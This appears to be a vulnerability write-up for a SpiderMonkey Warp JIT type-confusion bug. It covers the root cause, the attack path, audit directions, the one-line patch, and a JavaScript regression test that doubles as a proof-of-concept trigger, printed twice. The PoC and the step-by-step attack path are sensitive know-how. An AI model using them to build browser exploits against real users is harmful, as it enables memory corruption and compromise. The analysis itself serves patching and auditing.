CVE-2026-117969
Overview
Background
- WarpCacheIR transpiler
js/src/jit/WarpCacheIRTranspiler.cpptranslates inline-cache (CacheIR) stubs into Warp/IonMonkey MIR during JIT compilation;emitLoadFixedSlotTypedResultemits MIR for loading a fixed object slot with a known (typed) result.- `MLoadFixedSlot`
- A MIR node that loads a value from an object’s fixed slot at a constant index. Its result type can be narrowed via
setResultType(...)based on the slot’s expected value type. - Movable MIR nodes
- MIR instructions default to being eligible for optimizations like GVN (global value numbering) and LICM (loop-invariant code motion) that may hoist, merge, or reorder them.
setNotMovable()pins a node so the optimizer cannot move/dedupe it, forcing the load to re-read memory at its original program point. - RegExp `@@matchAll` / `RegExpStringIterator`
RegExp.prototype[Symbol.matchAll]returns an iterator whosenext()repeatedly reads fields (source,flags,lastIndex,exec) off the (possibly user-supplied, species-forged) matcher object. The PoC drives this iterator under Warp.- Typed-result assumption
- A typed
MLoadFixedSlottells downstream MIR the loaded value’s type; if the underlying slot’s value type changes between the “real” load point and where a moved/merged load is scheduled, the typed assumption is stale.
Root Cause Analysis
The fix is a single line in emitLoadFixedSlotTypedResult: after building MLoadFixedSlot and calling load->setResultType(MIRTypeFromValueType(JSValueType(type))), the patch adds load->setNotMovable(); before add(load). Without setNotMovable(), the typed fixed-slot load is movable, so Warp’s optimizer (GVN/LICM) may hoist it, sink it, or merge it with another load — scheduling the memory read at a program point different from where the CacheIR stub intended. A fixed-slot load that produces a typed result encodes an assumption about the slot’s value type that was guarded at the stub’s original location. If the slot’s contents (and thus value type) can change between that guarded point and where the optimizer relocates the load — which the PoC achieves by mutating a species-forged matcher object’s source field from a string to a double (fakeMatcher.source = 13.37) across iterations — then the relocated load reads a value whose actual type no longer matches the typed-result assumption. Downstream code consumes that value as the asserted type, producing a type confusion: a double (or otherwise mismatched value) is treated as the originally-typed payload (e.g. an object/string pointer), i.e. an invalid pointer.
The regression test js/src/jit-test/tests/regexp/bug2075990.js is diagnostic: it disables off-thread compilation, raises inlining limits, warms up candidate() over a species-forged slow regexp and a fast regexp so Warp compiles the @@matchAll next() path, then mutates fakeMatcher.source to a different-typed value and re-invokes, expecting correct behavior. Marking the load not-movable forces it to re-read the slot at the correct point each time, so the mutated value is observed with its true type rather than a stale typed assumption. The advisory calls this an “invalid pointer in JIT”; the diff substantiates that the root mechanism is a movable typed fixed-slot load enabling a type-confusion/stale-type read — the “invalid pointer” is the downstream symptom of treating a wrongly-typed loaded value as a pointer.
MLoadFixedSlot emitted for a fixed-slot read was left movable, letting Warp’s GVN/LICM relocate or dedupe it so it carried a stale value-type assumption when the underlying slot’s type was mutated between the guarded point and the moved load — a type confusion that surfaces as an invalid pointer, fixed by pinning the load with setNotMovable().Attack Path
- Set up a species-forged matcher
Script defines an object with
constructor[Symbol.species]returning afakeMatcherwhosesource/flags/execare attacker-controlled, used as the regexp forRegExp.prototype[Symbol.matchAll]. - Warm up the iterator path
Repeatedly call the
@@matchAlliterator’snext()on both a fast real regexp and the slow species-forged regexp to trigger Warp compilation that inlines the fixed-slot load for the matcher’s fields. - Rely on the movable load
In the compiled code the typed
MLoadFixedSlotis optimized (hoisted/merged) under the type seen during warmup. - Mutate the slot's value type
Change the forged matcher’s field (
fakeMatcher.source = 13.37) so the slot now holds a differently-typed value (double vs string) than the compiled typed assumption. - Re-run the compiled path Call the iterator again; the relocated/merged load returns the mutated value but downstream MIR treats it as the originally-asserted type.
- Primitive achieved Type confusion: a non-pointer (double) is interpreted as a typed pointer payload, yielding an invalid/controlled pointer usable toward memory corruption (full exploitation inferred, not shown by the diff).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
forjs/src/jit-test/tests/regexp/bug2075990.js |
modified |
Files Changed
js/src/jit-test/tests/regexp/bug2075990.jsjs/src/jit/WarpCacheIRTranspiler.cpp
Audit Directions
- Movability of typed loadsAudit other
emit*TypedResult/ typed load emitters inWarpCacheIRTranspiler.cpp(and Ion’s MIR builders) for typed-result loads that remain movable where the underlying slot/value type could change between guard and use. - Species-forged objects under JITReview regexp, array, and other
@@species-driven paths where a user object’s fields feed JIT type assumptions, for other spots a field mutation can defeat a hoisted typed load. - GVN/LICM interaction with guardsCheck that loads whose result type is guarded by a preceding CacheIR type check are either pinned or kept adjacent to their guard so optimization cannot separate them.
Patch
diff --git a/js/src/jit/WarpCacheIRTranspiler.cpp b/js/src/jit/WarpCacheIRTranspiler.cpp
index 476ee74872e..6492966db88 100644
--- a/js/src/jit/WarpCacheIRTranspiler.cpp
+++ b/js/src/jit/WarpCacheIRTranspiler.cpp
@@ -2021,6 +2021,7 @@ bool WarpCacheIRTranspiler::emitLoadFixedSlotTypedResult(ObjOperandId objId,
auto* load = MLoadFixedSlot::New(alloc(), obj, slotIndex);
load->setResultType(MIRTypeFromValueType(JSValueType(type)));
+ load->setNotMovable();
add(load);
pushResult(load);
diff --git a/js/src/jit-test/tests/regexp/bug2075990.js b/js/src/jit-test/tests/regexp/bug2075990.js
new file mode 100644
index 00000000000..505396cc748
--- /dev/null
+++ b/js/src/jit-test/tests/regexp/bug2075990.js
@@ -0,0 +1,31 @@
+setJitCompilerOption('offthread-compilation.enable', 0);
+setJitCompilerOption('inlining.bytecode-max-length', 2000);
+
+const matchAllMethod = RegExp.prototype[Symbol.matchAll];
+const nextMethod = Object.getPrototypeOf(matchAllMethod.call(/a/g, '')).next;
+const fakeMatcher = {lastIndex: 0, source: 'a', flags: 0, exec() { return null; }};
+function CustomSpecies() { return fakeMatcher; }
+const slowRegexp = {constructor: {[Symbol.species]: CustomSpecies}, flags: 'g', lastIndex: 0};
+const fastRegexp = /a/g;
+fastRegexp.lastIndex = 100000;
+
+try { nextMethod.call({}); } catch (error) {}
+nextMethod.call(matchAllMethod.call(/()/gu, ''));
+nextMethod.call(matchAllMethod.call(slowRegexp, ''));
+gc();
+
+function candidate(regexp, count) {
+ const iterator = matchAllMethod.call(regexp, '');
+ let result = true;
+ for (let iteration = 0; iteration < count; iteration++) {
+ result = nextMethod.call(iterator).done;
+ }
+ return result;
+}
+
+for (let warmup = 0; warmup < 1400; warmup++) {
+ assertEq(candidate(fastRegexp, 2), true);
+ assertEq(candidate(slowRegexp, 0), true);
+}
+fakeMatcher.source = 13.37;
+assertEq(candidate(slowRegexp, 0), true);
Regression Test / PoC
diff --git a/js/src/jit-test/tests/regexp/bug2075990.js b/js/src/jit-test/tests/regexp/bug2075990.js
new file mode 100644
index 00000000000..505396cc748
--- /dev/null
+++ b/js/src/jit-test/tests/regexp/bug2075990.js
@@ -0,0 +1,31 @@
+setJitCompilerOption('offthread-compilation.enable', 0);
+setJitCompilerOption('inlining.bytecode-max-length', 2000);
+
+const matchAllMethod = RegExp.prototype[Symbol.matchAll];
+const nextMethod = Object.getPrototypeOf(matchAllMethod.call(/a/g, '')).next;
+const fakeMatcher = {lastIndex: 0, source: 'a', flags: 0, exec() { return null; }};
+function CustomSpecies() { return fakeMatcher; }
+const slowRegexp = {constructor: {[Symbol.species]: CustomSpecies}, flags: 'g', lastIndex: 0};
+const fastRegexp = /a/g;
+fastRegexp.lastIndex = 100000;
+
+try { nextMethod.call({}); } catch (error) {}
+nextMethod.call(matchAllMethod.call(/()/gu, ''));
+nextMethod.call(matchAllMethod.call(slowRegexp, ''));
+gc();
+
+function candidate(regexp, count) {
+ const iterator = matchAllMethod.call(regexp, '');
+ let result = true;
+ for (let iteration = 0; iteration < count; iteration++) {
+ result = nextMethod.call(iterator).done;
+ }
+ return result;
+}
+
+for (let warmup = 0; warmup < 1400; warmup++) {
+ assertEq(candidate(fastRegexp, 2), true);
+ assertEq(candidate(slowRegexp, 0), true);
+}
+fakeMatcher.source = 13.37;
+assertEq(candidate(slowRegexp, 0), true);